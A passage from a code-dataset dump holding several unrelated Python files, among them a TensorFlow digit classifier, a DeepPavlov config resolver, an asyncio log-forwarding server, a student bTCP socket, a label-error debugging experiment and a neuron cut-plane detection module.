1000], stddev = 0.03), name = \"W1\")\nb1 = tf.Variable(tf.random.normal([1000]), name = \"b1\")\n\n# Declare weights connecting dense layer to output layer\nW2 = tf.Variable(tf.random.normal([1000, 10], stddev = 0.03), name = \"W2\")\nb2 = tf.Variable(tf.random.normal([10]), name = \"b2\")\n\n# Calculate output of dense layer\ndense_output = tf.add(tf.matmul(x_flattened, W1), b1)\ndense_output = tf.nn.relu(dense_output)\n\n# Calculate output of the final layer and clip it to avoid values less than zero or greater than one\ny_pred = tf.nn.softmax(tf.add(tf.matmul(dense_output, W2), b2))\ny_pred = tf.clip_by_value(y_pred, 1e-10, 0.9999999)\n\n# Define cost function using cross entropy function an l2 regularization\ncross_entropy = - tf.reduce_mean(tf.reduce_sum(y * tf.math.log(y_pred) + (1 - y) * tf.math.log(1 - y_pred), axis = 1))\nl2_regularization = (lamb / 2) * (tf.reduce_mean(tf.reduce_sum(tf.math.square(W1), axis = 1)) + tf.reduce_mean(tf.reduce_sum(tf.math.square(W2), axis = 1)))\ncost_function = cross_entropy + l2_regularization\n\n# Create optimizer\noptimizer = tf.compat.v1.train.GradientDescentOptimizer(learning_rate = learning_rate).minimize(cost_function)\n\n# Setup the initialization operator\ninit = tf.compat.v1.global_variables_initializer()\n\n# Define an accuracy assessment function\ncorrect_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_pred, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\ndef next_batch(batch_size, x, y):\n\t'''\n\tReturn \"batch_size\" random samples and labels\n\t'''\n\n\tindices = np.arange(0, len(x))\n\tnp.random.shuffle(indices)\n\tindices = indices[:batch_size]\n\tbatch_x = [x[index] for index in indices]\n\tbatch_y = [y[index] for index in indices]\n\n\treturn np.asarray(batch_x), np.asarray(batch_y)\n\n# Start the session\nwith tf.compat.v1.Session() as sess:\n\t# Initialize the variables\n\tsess.run(init)\n\n\t# Calculate number of batches to be run\n\tnum_batches = int(len(training_images) / batch_size)\n\n\tfor epoch in range(epochs):\n\t\tavg_cost = 0\n\t\tfor i in range(num_batches):\n\t\t\tbatch_x, batch_y = next_batch(batch_size, training_images, training_labels)\n\t\t\t_, cost = sess.run([optimizer, cost_function], feed_dict = {x : batch_x, y : batch_y})\n\t\t\tavg_cost += (cost / num_batches)\n\t\tprint(\"Epoch: %d cost = %1.3f\" % (epoch + 1, avg_cost))\n\n\t# Run test data through model\n\tprint(\"Accuracy: %1.4f\" % (sess.run(accuracy, feed_dict = {x : test_images, y : test_labels})))","repo_name":"ZacharyGoshen/handwritten-digit-classifier","sub_path":"source/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4172317112","text":"import importlib\nimport inspect\nfrom typing import Dict\n\nfrom deeppavlov.core.commands.utils import expand_path, get_deeppavlov_root, set_deeppavlov_root\nfrom deeppavlov.core.common.file import read_json\nfrom deeppavlov.core.common.registry import get_model, cls_from_str\nfrom deeppavlov.core.common.errors import ConfigError\nfrom deeppavlov.core.common.log import get_logger\nfrom deeppavlov.core.models.component import Component\n\nlog = get_logger(__name__)\n\n_refs = {}\n\n\ndef _resolve(val):\n    if isinstance(val, str) and val.startswith('#'):\n        component_id, *attributes = val[1:].split('.')\n        try:\n            val = _refs[component_id]\n        except KeyError:\n            e = ConfigError('Component with id \"{id}\" was referenced but not initialized'\n                            .format(id=component_id))\n            log.exception(e)\n            raise e\n        attributes = ['val'] + attributes\n        val = eval('.'.join(attributes))\n    return val\n\n\ndef _init_param(param, mode):\n    if isinstance(param, str):\n        param = _resolve(param)\n    elif isinstance(param, (list, tuple)):\n        param = [_init_param(p, mode) for p in param]\n    elif isinstance(param, dict):\n        if {'ref', 'name', 'class', 'config_path'}.intersection(param.keys()):\n            param = from_params(param, mode=mode)\n        else:\n            param = {k: _init_param(v, mode) for k, v in param.items()}\n    return param\n\n\ndef from_params(params: Dict, mode: str = 'infer', **kwargs) -> Component:\n    \"\"\"Builds and returns the Component from corresponding dictionary of parameters.\"\"\"\n    # what is passed in json:\n    config_params = {k: _resolve(v) for k, v in params.items()}\n\n    # get component by reference (if any)\n    if 'ref' in config_params:\n        try:\n            return _refs[config_params['ref']]\n        except KeyError:\n            e = ConfigError('Component with id \"{id}\" was referenced but not initialized'\n                            .format(id=config_params['ref']))\n            log.exception(e)\n            raise e\n\n    elif 'config_path' in config_params:\n        from deeppavlov.core.commands.infer import build_model_from_config\n        deeppavlov_root = get_deeppavlov_root()\n        refs = _refs.copy()\n        _refs.clear()\n        config = read_json(expand_path(config_params['config_path']))\n        model = build_model_from_config(config, as_component=True)\n        set_deeppavlov_root({'deeppavlov_root': deeppavlov_root})\n        _refs.clear()\n        _refs.update(refs)\n        return model\n\n    elif 'class' in config_params:\n        cls = cls_from_str(config_params.pop('class'))\n    else:\n        cls_name = config_params.pop('name', None)\n        if not cls_name:\n            e = ConfigError('Component config has no `name` nor `ref` or `class` fields')\n            log.exception(e)\n            raise e\n        cls = get_model(cls_name)\n\n    # find the submodels params recursively\n    config_params = {k: _init_param(v, mode) for k, v in config_params.items()}\n\n    try:\n        spec = inspect.getfullargspec(cls)\n        if 'mode' in spec.args+spec.kwonlyargs or spec.varkw is not None:\n            kwargs['mode'] = mode\n\n        component = cls(**dict(config_params, **kwargs))\n        try:\n            _refs[config_params['id']] = component\n        except KeyError:\n            pass\n    except Exception:\n        log.exception(\"Exception in {}\".format(cls))\n        raise\n\n    return component\n","repo_name":"datatonydeng/DialogueSystem","sub_path":"deeppavlov/core/common/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"18189320779","text":"import asyncio\nimport json\nimport logging\nimport os\nimport ssl\nfrom asyncio import StreamReader, StreamWriter\nfrom asyncio.exceptions import IncompleteReadError\nfrom typing import List\n\nfrom . import forwarders, utils\n\n_logger = logging.getLogger()\n\n\nRequiredFields = (\"level\", \"pid\", \"message\", \"created_at\", \"created_by\")\n\n\nclass LogTokenFileError(Exception):\n    pass\n\n\nclass LogServer:\n    \"\"\"Logging server which can accept logs from the JSONSocketHandler. Received\n    logs are passed to the standard python log. This allows to pass the logs further\n    with other logging handlers.\"\"\"\n\n    def __init__(\n        self,\n        host: str,\n        port: int,\n        forwarder: forwarders.Forwarder,\n        ssl_context: ssl.SSLContext = None,\n        token_file: str = None,\n        use_auth: bool = True,\n    ):\n        self.host = host\n        self.port = port\n        self.ssl_context = ssl_context\n        self.use_auth = use_auth\n        self.tokens = {}\n        self.token_file = token_file\n        self.token_mtime = None\n        self.forwarder = forwarder\n\n    def add_token(self, token: str, **kwargs) -> None:\n        \"\"\"Add a token and store additional information about the client\"\"\"\n        if self.token_file:\n            raise LogTokenFileError(\"Token file is used\")\n\n        self.tokens[token] = kwargs\n\n    def delete_token(self, token: str) -> dict:\n        \"\"\"Delete a token from the storage. It's not possible if a token_file is used\"\"\"\n        if self.token_file:\n            raise LogTokenFileError(\"Token file is used\")\n\n        return self.tokens.pop(token, None)\n\n    def _update_tokens(self) -> None:\n        \"\"\"Update the token store if the file changed\"\"\"\n        if not self.token_file:\n            return\n\n        stat = os.stat(self.token_file)\n        if self.token_mtime != stat.st_mtime:\n            with open(self.token_file) as fp:\n                self.tokens = json.load(fp)\n\n    def auth_client(self, auth: dict) -> dict:\n        \"\"\"Evaluate the auth message and return the fitting client\"\"\"\n        if not isinstance(auth, dict):\n            return None\n\n        token = auth.get(\"token\")\n        if not token:\n            return None\n\n        self._update_tokens()\n        client = self.tokens.get(token)\n        if client is None:\n            return None\n\n        client[\"name\"] = client.get(\"name\", token)\n        return client\n\n    async def _read_message(self, reader: StreamReader) -> dict:\n        \"\"\"Read a message from the reader and evaluate it\"\"\"\n        try:\n            (length,) = await utils.receive_struct(reader, \">L\")\n            if length <= 0:\n                return None\n\n            message = json.loads(await reader.readexactly(length))\n            return message\n        except (json.JSONDecodeError, IncompleteReadError):\n            return None\n\n    def _validate_message(self, message: dict, required: List[str]) -> dict:\n        \"\"\"Validate a message against a list of required keys\"\"\"\n        if not isinstance(message, dict):\n            return None\n\n        return message if set(message).issuperset(required) else None\n\n    async def _process_message(self, message: dict, client_name: str = None) -> None:\n        \"\"\"Forward the log to the next server or database\"\"\"\n        if not message.get(\"host\") and client_name:\n            message[\"host\"] = client_name\n\n        _logger.debug(f\"Forwarding: {message}\")\n        await self.forwarder.put(message)\n\n    async def _stop(self, reader: StreamReader, writer: StreamWriter) -> None:\n        \"\"\"Stop the reader and writer\"\"\"\n        reader.feed_eof()\n        writer.close()\n        await writer.wait_closed()\n\n    async def _accept(self, reader: StreamReader, writer: StreamWriter) -> None:\n        \"\"\"Accept new clients and wait for logs to process them\"\"\"\n        if self.use_auth:\n            message = await self._read_message(reader)\n            message = self._validate_message(message, [\"token\"])\n            client = self.auth_client(message)\n\n            if not client:\n                await self._stop(reader, writer)\n                return\n\n            name = client[\"name\"]\n            _logger.info(f\"Client '{name}' connected\")\n        else:\n            client = {}\n            name = None\n\n        while True:\n            message = await self._read_message(reader)\n            data = self._validate_message(message, RequiredFields)\n            if not isinstance(data, dict):\n                break\n\n            await self._process_message(data, name)\n\n        await self._stop(reader, writer)\n\n    async def run(self) -> None:\n        \"\"\"Start the server and listen for logs\"\"\"\n        if self.forwarder:\n            _logger.info(f\"Starting forwarder to {self.forwarder}\")\n            asyncio.create_task(self.forwarder.process())\n\n        _logger.info(f\"Starting log server on {self.host}:{self.port}\")\n        self.sock = await asyncio.start_server(\n            self._accept,\n            self.host,\n            self.port,\n            ssl=self.ssl_context,\n        )\n\n        async with self.sock:\n            await self.sock.serve_forever()\n\n    def start(self) -> None:\n        \"\"\"Start the log server as asyncio task\"\"\"\n        asyncio.run(self.run())\n\n    async def stop(self) -> None:\n        \"\"\"Stop the LogServer and close the socket\"\"\"\n        self.sock.close()\n        await self.sock.wait_closed()\n","repo_name":"fkantelberg/log-proxy","sub_path":"src/log_proxy/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"46498401868","text":"import socket\nfrom btcp.lossy_layer import LossyLayer\nfrom btcp.btcp_socket import BTCPSocket\nfrom btcp.constants import *\nimport random\nfrom queue import Queue, Empty\n\n#flags[0] = ACK     1\n#flags[1] = SYN     2\n#flags[2] = FIN     4\n#ACK, SYN           3\n#ACK, FIN           5\n#SYN, FIN           6\n#ACK, SYN, FIN      8\n\n# The bTCP server socket\n# A server application makes use of the services provided by bTCP by calling accept, recv, and close\nclass BTCPServerSocket(BTCPSocket):\n    def __init__(self, window, timeout):\n        super().__init__(window, timeout)\n        self._lossy_layer = LossyLayer(self, SERVER_IP, SERVER_PORT, CLIENT_IP, CLIENT_PORT)\n        self._queue = Queue()\n        self._sq = 0#last sequence number sent\n        self._recv = 0#last sequence number received\n        self._lastack = 0#last acknowledgement number received\n        self._clientwindow = 0\n        self._padding = bytearray(bytes(1008))\n        self._message = bytearray(bytes(0))\n\n    # Wait for the client to initiate a three-way handshake\n    def accept(self):\n        segment = self._queue.get()\n        self._recv = int.from_bytes(segment[:2], \"big\")\n        self._sq = random.randint(0, 65535)\n        packet = BTCPSocket.create_packet(self, self._sq, self._recv + 1, 3, self._window, 0, 0, self._padding)\n        LossyLayer.send_segment(self._lossy_layer, packet)\n        self._lastack = self._recv +1\n        segment = self._queue.get()\n        x = int.from_bytes(segment[:2], \"big\")\n        y = int.from_bytes(segment[2:4], \"big\")\n        self._clientwindow = int.from_bytes(segment[5:6], \"big\")\n        if self._lastack == x and self._sq + 1 == y:\n            self._lastack = y\n            self._recv = x\n        #a client has successfully connected\n\n    # Send any incoming data to the application layer\n    def recv(self):\n        #so I guess in here we need to check for the FIN flag to close the connection\n        try:\n            segment = self._queue.get()\n            sq = int.from_bytes(segment[:2], \"big\")\n            self._lastack = int.from_bytes(segment[2:4], \"big\")\n            flags = int.from_bytes(segment[4:5], \"big\")\n            if flags >= 4:  # so if FIN flag is set (maybe also other flags)\n                self._sq += 1\n                packet = BTCPSocket.create_packet(self, self._sq, sq + 1, 5, self._window, 0, 0,self._padding)\n                LossyLayer.send_segment(self._lossy_layer, packet)\n                return False\n            else:  # every normal packet that does not finish the connection\n                length = int.from_bytes(segment[6:8], \"big\")\n                self._message += segment[10:(10+length)]\n                self._sq += 1\n                packet = BTCPSocket.create_packet(self, self._sq, sq +1, flags, self._window, 0, 0, self._padding)\n                LossyLayer.send_segment(self._lossy_layer, packet)\n                return True\n        except Empty:\n            pass\n\n    # Clean up any state\n    def close(self):\n        self._lossy_layer.destroy()\n\n    # Called by the lossy layer from another thread whenever a segment arrives\n    def lossy_layer_input(self, segment, addr):\n        # received the clients request and sends its response back\n        self._queue.put(segment)","repo_name":"mariesophiesimon/NetworksProject","sub_path":"btcp/server_socket.py","file_name":"server_socket.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71877759141","text":"'''\nCreated on May 24, 2019\n\n@author: hzhang0418\n'''\n\nimport os\nimport sys\nimport random\n\nimport pandas as pd\n\nimport v6.data_io\nimport v6.label_debugger\nimport v6.feature_selection\n\nimport utils.myconfig\n\ndef run(detector='both', confusion=False, top_k=20):\n    config_file=r'/scratch/hzhang0418/projects/datasets/mono/beer.config'\n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/bike.config'\n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/books1.config'\n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/citations.config'\n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/movies1.config'\n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/restaurants4.config'\n    \n    #config_file = r'/scratch/hzhang0418/projects/datasets/labeldebugger/fodors_zagats.config'\n    \n    #config_file=r'/scratch/hzhang0418/projects/datasets/mono/cora_large.config'\n    #config_file = r'/scratch/hzhang0418/projects/datasets/labeldebugger/cora_new.config'\n    \n    #mayuresh\n    config_file=r'/export/da/mkunjir/LabelDebugger/config/cora.config'\n    \n    params = utils.myconfig.read_config(config_file)\n    \n    basedir = params['basedir']\n    hpath = os.path.join(basedir, params['hpath'])\n    gpath = os.path.join(basedir, 'golden.csv')\n\n    exclude_attrs = ['_id', 'ltable.id', 'rtable.id']\n    \n    features, labels, pair2index, index2pair = v6.data_io.read_feature_file(hpath, exclude_attrs)\n    pair2golden = v6.data_io.read_golden_label_file(gpath) if os.path.exists(gpath) else {p:labels[i] for p, i in pair2index.items()} ## mayuresh: if no golden labels, then only new errors will be injected \n\n    params['fs_alg'] = 'xgboost'\n    params['max_list_len'] = 40\n    params['detectors'] = detector\n    params['confusion'] = confusion\n\n    params['num_cores'] = 4 \n    params['num_folds'] = 5\n\n    params['min_con_dim'] = 1\n    params['counting_only'] = False \n    #debugger = v6.label_debugger.LabelDebugger(features, labels, params)\n    \n    # label errors\n    all_errors = []\n    false_nonmatch_errors = 0\n    false_nonmatch_indices = []\n    for index, p in index2pair.items():\n        if labels[index]!=pair2golden[p]:\n            #print('Error found at: ', index, ' the pair is: ', p)\n            all_errors.append(index)\n            if labels[index]==0:\n               false_nonmatch_errors += 1\n               false_nonmatch_indices.append(index)\n    \n    '''\n    # TEMP: mayuresh: eliminate errors from labeled data    \n    #mpath = os.path.join(basedir, 'labeled_data.csv')\n    new_hpath = os.path.join(basedir, 'feature_vector_newerrors.csv')\n    new_gpath = os.path.join(basedir, 'golden_newerrors.csv')\n    fv_df = pd.read_csv(hpath)\n    g_df = pd.read_csv(gpath)\n    #fv_df.drop(fv_df.index[all_errors], inplace=True)\n    #fv_df.to_csv(new_hpath, index=False)\n    #exit()\n    '''\n        \n    # randomly insert errors\n    seed = 0 #random.randrange(sys.maxsize)\n    rng = random.Random(seed)\n    print(\"Seed was:\", seed)\n    \n    perc = 0.1 #rng.randint(5, 15)/100.0\n    print(\"Error rate:\", perc)\n    \n    num_err = int(len(labels)*perc - len(all_errors)) # accounting for existing errors\n    #num_err = min(800, num_err) # 800 is the maximum errors we can check in the given budget\n\n    while num_err < 0: ## correct some existing errors to make them equal to the required number\n      i = 0#rng.randint(0, len(all_errors)-1)\n      index = all_errors[i]\n      labels[index] = 1 - labels[index]\n      if labels[index]==1:\n         false_nonmatch_errors -= 1\n         false_nonmatch_indices.remove(index)\n      all_errors.remove(index)\n      num_err += 1\n\n    error_indices = set(all_errors)\n    new_error_indices = set()\n    for _ in range(num_err*10):\n        index = rng.randint(0, len(labels)-1)\n        if index in error_indices or index in new_error_indices:\n            continue\n        new_error_indices.add(index)\n        if labels[index]==1:\n            false_nonmatch_errors += 1\n            false_nonmatch_indices.append(index)\n        labels[index] = 0 if labels[index]==1 else 1\n        if len(new_error_indices)>=num_err:\n            break\n\n    '''\n    ## mayuresh: update feature vector with new errors and new golden labels\n    print('New errors inserted: ', len(new_error_indices))\n    #g_df = g_df.iloc[0:0] # dropping current golden labels\n    for cnt, index in enumerate(new_error_indices):\n      pair = index2pair[index]\n      fv_df.at[index, 'label'] = labels[index]\n      #print('Changed fv location: ', index)\n      g_df.at[index, 'golden'] = 1-labels[index] # = g_df.append({'_id':cnt, 'ltable.id':pair[0], 'rtable.id':pair[1], 'golden':1-labels[index]}, ignore_index=True)\n    g_df.drop(fv_df.index[all_errors], inplace=True) #delete old errors\n    g_df.to_csv(new_gpath, index=False)\n    fv_df.drop(fv_df.index[all_errors], inplace=True) #delete old errors\n    fv_df.to_csv(new_hpath, index=False)\n    exit()\n    '''\n\n    print(\"Total number of errors: \", len(error_indices) + len(new_error_indices))\n    print(\"Of which total false nonmatches: \", false_nonmatch_errors)\n    all_errors = list(error_indices)\n    all_errors.extend(list(new_error_indices))\n    false_match_errors = len(all_errors) - false_nonmatch_errors\n\n    print(params['dataset_name'])\n    \n    #index = 324\n    #print( labels[index], pair2golden[index2pair[index]] )\n   \n    ## mayuresh: read selected features if available in file or else store them \n    #del params['spath']\n    if 'spath' in params:\n       selected_features_path = os.path.join(basedir, params['spath'])\n       selected_features = pd.read_csv(selected_features_path).to_numpy()\n    else:\n       selected_features = v6.feature_selection.select_features(features, labels, params['fs_alg'])\n       selected_features_path = os.path.join(basedir, 'selected_features.csv')\n       pd.DataFrame(selected_features).to_csv(selected_features_path, index=False)\n    print('Selected features of dim: ', selected_features.shape, ' from the original features: ', features.shape)\n\n\n    params['fs_alg'] = 'none' # disabling feature selection now that we are done selecting   \n    debugger = v6.label_debugger.LabelDebugger(selected_features, labels, params)\n    \n    all_detected_errors, detected_false_nonmatches = debug_labels(debugger, index2pair, pair2golden, top_k)\n    \n    print(\"Total number of label errors: \", len(all_errors))\n    print(\"Number of iterations: \", debugger.iter_count)\n    print(\"Number of checked pairs: \", len(debugger.verified_indices))\n    print(\"Number of detected errors: \", len(all_detected_errors))\n    print(\"Of which the number of false nonmatches: \", len(detected_false_nonmatches))\n    print(\"False match detection recall: \", 100.0 * (len(all_detected_errors) - len(detected_false_nonmatches)) / false_match_errors)\n    print(\"False non-match detection recall: \", 100.0 * len(detected_false_nonmatches) / false_nonmatch_errors)\n    print(\"False match detection prec: \", 100.0 * (len(all_detected_errors) - len(detected_false_nonmatches)) / (len(debugger.verified_indices) * false_match_errors / len(all_errors)))\n    #print(\"False nonmatch detection prec: \", 100.0 * (len(detected_false_nonmatches)) / (len(debugger.verified_indices) * false_nonmatch_errors / len(all_errors)))\n\n    apath = os.path.join(basedir, params['apath'])\n    bpath = os.path.join(basedir, params['bpath'])\n    \n    table_A = pd.read_csv(apath)\n    table_B = pd.read_csv(bpath)\n    \n    '''\n    #show all errors\n    table_A['id'] = table_A['id'].astype(str)\n    table_B['id'] = table_B['id'].astype(str)\n    all_error_pairs = []\n    for index in all_errors:\n        p = index2pair[index]\n        label = labels[index]\n        left = table_A.loc[ table_A['id'] == str(p[0])]\n        right = table_B.loc[ table_B['id'] == str(p[1])]\n        tmp = {}\n        for col in left:\n            tmp['ltable.'+col] = left.iloc[0][col]\n        for col in right:\n            tmp['rtable.'+col] = right.iloc[0][col]\n            tmp['label'] = label\n        all_error_pairs.append(tmp)\n        \n    if len(all_error_pairs)>0:\n        df = pd.DataFrame(all_error_pairs)\n        output_file = params['dataset_name']+'_all_errors.csv'\n        df.to_csv(output_file, index=False)\n        \n    \n    # show missed errors\n    missed_error_pairs = []\n    for index in all_errors:\n        if index not in all_detected_errors:\n            p = index2pair[index]\n            label = labels[index]\n            left = table_A.loc[ table_A['id'] == int(p[0])]\n            right = table_B.loc[ table_B['id'] == int(p[1])]\n            tmp = {}\n            for col in left:\n                tmp['ltable.'+col] = left.iloc[0][col]\n            for col in right:\n                tmp['rtable.'+col] = right.iloc[0][col]\n                tmp['label'] = label\n            missed_error_pairs.append(tmp)\n        \n    if len(missed_error_pairs)>0:\n        df = pd.DataFrame(missed_error_pairs)\n        output_file = params['dataset_name']+'missed_errors.csv'\n        df.to_csv(output_file, index=False)\n    '''\n\ndef debug_labels(debugger, index2pair, pair2golden, top_k=20):\n    \n    num_iter_without_errors = 0\n    all_detected_errors = set() \n    all_detected_match_errors = set() # labels mislabeled as matches\n    total_num_iters = 0\n    while True:\n        top_suspicious_indices = debugger.find_suspicious_labels(top_k)\n        \n        # find their correct labels\n        index2correct_label = { index:pair2golden[ index2pair[index] ]  for index in top_suspicious_indices}\n        iter_count, num_errors, error_indices, error_indices_matches, det_error_poses  = debugger.analyze(index2correct_label)\n        #print('Iteration: ', iter_count)\n        #print(\"Number of errors found: \", num_errors)\n        #print(\"Error indices: \", error_indices)\n        #print(\"Detector performance: \")\n        #for n, (count, pos) in enumerate(det_error_poses):\n        #    print(\"Detector \", n, \"found \", count, \" errors\")\n        #    print(\"Positions: \", pos)\n            \n        all_detected_errors.update(error_indices)\n        all_detected_match_errors.update(error_indices_matches)\n            \n        if num_errors==0:\n            num_iter_without_errors += 1\n        else:\n            num_iter_without_errors = 0\n            \n        if num_iter_without_errors>=3:\n            break\n        \n        debugger.correct_labels(index2correct_label)\n        \n        total_num_iters += 1\n        \n        if total_num_iters>=5000:\n            break\n        \n    return all_detected_errors, all_detected_match_errors\n\n\nrun('fpfn', False, 20)\n#run('mono', False, 20)\n#run('both', False, 20)\n#run('both', False, 10)\n#run('both', False, 15)\n#run('cleanlab', False)\nrun('cleanlab', True)\n","repo_name":"qcri/scrubber","sub_path":"src/v6/exp_random_errors.py","file_name":"exp_random_errors.py","file_ext":"py","file_size_in_byte":10668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34272335853","text":"'''Module for the detection of the cut plane'''\nimport json\nimport logging\nimport itertools as it\nimport operator\nfrom pathlib import Path\nimport warnings\nfrom typing import List, Union\n\nimport neurom as nm\nimport numpy as np\n\nfrom neurom import geom\nfrom neurom.core import Section, Morphology\nfrom scipy import optimize, special\n\nfrom neuror.cut_plane import legacy_detection, planes\nfrom neuror.exceptions import NeuroRError\n\nL = logging.getLogger(__name__)\n\n\nclass CutPlane(planes.HalfSpace):\n    '''The cut plane class.\n\n    It is composed of a HalfSpace and a morphology\n    The morphology is part of the HalfSpace, the cut space is\n    the complementary HalfSpace.\n    '''\n\n    def __init__(self, coefs: List[float],\n                 upward: bool,\n                 morphology: Union[None, str, Path, Morphology],\n                 bin_width: float):\n        '''Cut plane ctor.\n\n        Args:\n            coefs: the [abcd] coefficients of a plane equation: ``a X + b Y + c Z + d = 0``\n            upward: if ``True``, the morphology points satisfy: ``a X + b Y + c Z + d > 0``\n                    else, they satisfy: ``a X + b Y + c Z + d < 0``\n            morphology: the morphology\n            bin_width: the bin width\n        '''\n        super().__init__(coefs[0], coefs[1], coefs[2], coefs[3], upward)\n\n        if isinstance(morphology, Morphology):\n            self.morphology = morphology\n        elif isinstance(morphology, (str, Path)):\n            self.morphology = nm.load_morphology(morphology)\n        elif morphology is not None:\n            raise NeuroRError(f'Unsupported morphology type: {type(morphology)}')\n\n        self.bin_width = bin_width\n        self.cut_leaves_coordinates = None\n        self.status = None\n        self.minus_log_prob = None\n        if morphology is not None:\n            self._compute_cut_leaves_coordinates()\n            self._compute_probabilities()\n            self._compute_status()\n\n    @classmethod\n    def from_json(cls, cut_plane_obj, morphology=None):\n        '''Factory constructor from a JSON file.\n\n        Args:\n            cut_plane_obj (dict|str|pathlib.Path): a cut plane\n                It can be a python dictionary or a path to a json file that contains one\n            morphology (~neurom.core.morphology.Morphology): the morphology passed to the\n                :class:`CutPlane` object\n        '''\n        assert isinstance(cut_plane_obj, (str, dict, Path))\n\n        if not isinstance(cut_plane_obj, dict):\n            with open(cut_plane_obj) as f:\n                cut_plane_obj = json.load(f)\n\n        data = cut_plane_obj['cut-plane']\n        obj = CutPlane([data['a'], data['b'], data['c'], data['d']],\n                       data['upward'],\n                       morphology,\n                       cut_plane_obj['details']['bin-width'])\n\n        obj.cut_leaves_coordinates = np.array(cut_plane_obj['cut-leaves'])\n        obj.status = cut_plane_obj['status']\n        obj.minus_log_prob = cut_plane_obj['details']['-LogP']\n        return obj\n\n    # pylint: disable=arguments-differ\n    @classmethod\n    def from_rotations_translations(cls, transformations, morphology, bin_width):\n        plane = planes.PlaneEquation.from_rotations_translations(transformations)\n        return cls(plane.coefs, True, morphology, bin_width)\n\n    @classmethod\n    def find(cls, neuron, bin_width=3,\n             searched_axes=('X', 'Y', 'Z'),\n             searched_half_spaces=(-1, 1),\n             fix_position=None):\n        \"\"\"Find and return the cut plane that is oriented along X, Y or Z.\n\n        6 potential positions are considered: for each axis, they correspond\n        to the coordinate of the first and last point of the neuron.\n\n        Description of the algorithm:\n\n        1) The distribution of all points along X, Y and Z is computed\n           and put into 3 histograms.\n        2) For each histogram we look at the first and last empty bins\n           (ie. the last bin before the histogram starts rising,\n           and the first after it reaches zero again). Under the assumption\n           that there is no cut plane, the posteriori probability\n           of observing this empty bin given the value of the not-empty\n           neighbour bin is then computed.\n        3) The lowest probability of the 6 probabilities (2 for each axes)\n           corresponds to the cut plane\n\n        Args:\n            neuron (~neurom.core.morphology.Morphology|str|pathlib.Path): a morphology\n            bin_width: The size of the binning\n\n            display: where or not to display the control plots\n                     Note: It is the user responsability to call matplotlib.pyplot.show()\n\n            searched_axes: x, y or z. Specify the planes for which to search the cut plane\n\n            searched_half_spaces: A negative value means the morphology lives\n                on the negative side of the plane, and a positive one the opposite.\n\n            fix_position: If not None, this is the position\n                for which to search the cut plane. Only the orientation will be searched for.\n                This can be useful to find the orientation of a plane whose position is known.\n\n        Returns:\n            A cut plane object\n        \"\"\"\n        warnings.warn(\"This method will be deprecated in favor or cut_leaves.find_cut_leaves\"\n                      \"it also has bugs if one uses +1 in searched_half_spaces and multiple\"\n                      \"combinations of searched_arguments.\", DeprecationWarning)\n        if not isinstance(neuron, Morphology):\n            neuron = nm.load_morphology(neuron)\n\n        # pylint: disable=invalid-unary-operand-type\n        coef_d = -fix_position if fix_position is not None else 0\n\n        cut_planes = [CutPlane([int(axis.upper() == 'X'), int(axis.upper() == 'Y'),\n                                int(axis.upper() == 'Z'), coef_d],\n                               upward=(side > 0),\n                               morphology=neuron,\n                               bin_width=bin_width)\n                      for axis, side in it.product(searched_axes, searched_half_spaces)]\n\n        best_cut_plane = max(cut_planes, key=operator.attrgetter('minus_log_prob'))\n\n        if fix_position is None:\n            _, bins = best_cut_plane.histogram()\n            # The orientation of the plane is defined such as the morphology lives\n            # on the positive side once coordinates are projected\n            # (see HalfSpace.project_on_directed_normal)\n            # So the first bin is where we look for the cut plane\n            best_cut_plane.coefs[3] = bins[0]\n        else:\n            best_cut_plane.coefs[3] = coef_d\n        return CutPlane(\n            best_cut_plane.coefs, best_cut_plane.upward, neuron, best_cut_plane.bin_width)\n\n    @classmethod\n    def find_legacy(cls, neuron, axis):\n        '''Find the cut points according to the legacy algorithm\n\n        As implemented in:\n        https://bbpgitlab.epfl.ch/nse/morphologyrepair/BlueRepairSDK/-/blob/main/BlueRepairSDK/src/repair.cpp#L263\n        '''\n        if not isinstance(neuron, Morphology):\n            neuron = nm.load_morphology(neuron)\n\n        cut_leaves, side = legacy_detection.internal_cut_detection(neuron, axis)\n\n        plane = cls([int(axis.upper() == 'X'), int(axis.upper() == 'Y'),\n                     int(axis.upper() == 'Z'), 0],\n                    upward=(side < 0),\n                    morphology=None,\n                    bin_width=0)\n        plane.morphology = nm.load_morphology(neuron)\n        plane.cut_leaves_coordinates = cut_leaves\n        return plane\n\n    @property\n    def cut_sections(self):\n        '''Returns sections that ends within the cut plane'''\n        leaves = np.array([leaf\n                           for neurite in self.morphology.neurites\n                           for leaf in nm.iter_sections(neurite, iterator_type=Section.ileaf)])\n        leaves_coord = [leaf.points[-1, nm.COLS.XYZ] for leaf in leaves]\n        return leaves[self.distance(leaves_coord) < self.bin_width]\n\n    def _compute_cut_leaves_coordinates(self):\n        '''Returns cut leaves coordinates'''\n        leaves = [leaf.points[-1, nm.COLS.XYZ] for leaf in self.cut_sections]\n        self.cut_leaves_coordinates = np.vstack(leaves) if leaves else np.array([])\n\n    def to_json(self):\n        '''Return a dictionary with the following items:\n\n            - status: 'ok' if everything went right, else an informative string\n            - cut_plane: a tuple (plane, position) where 'plane' is 'X', 'Y' or 'Z'\n                       and 'position' is the position\n            - cut_leaves: an np.array of all termination points in the cut plane\n            - figures: if 'display' option was used, a dict where values are tuples (fig, ax)\n                     for each figure\n            - details: A dict currently only containing -LogP of the bin where the cut plane was\n                     found\n        '''\n        return {'cut-leaves': self.cut_leaves_coordinates,\n                'status': self.status,\n                'details': {'-LogP': self.minus_log_prob, 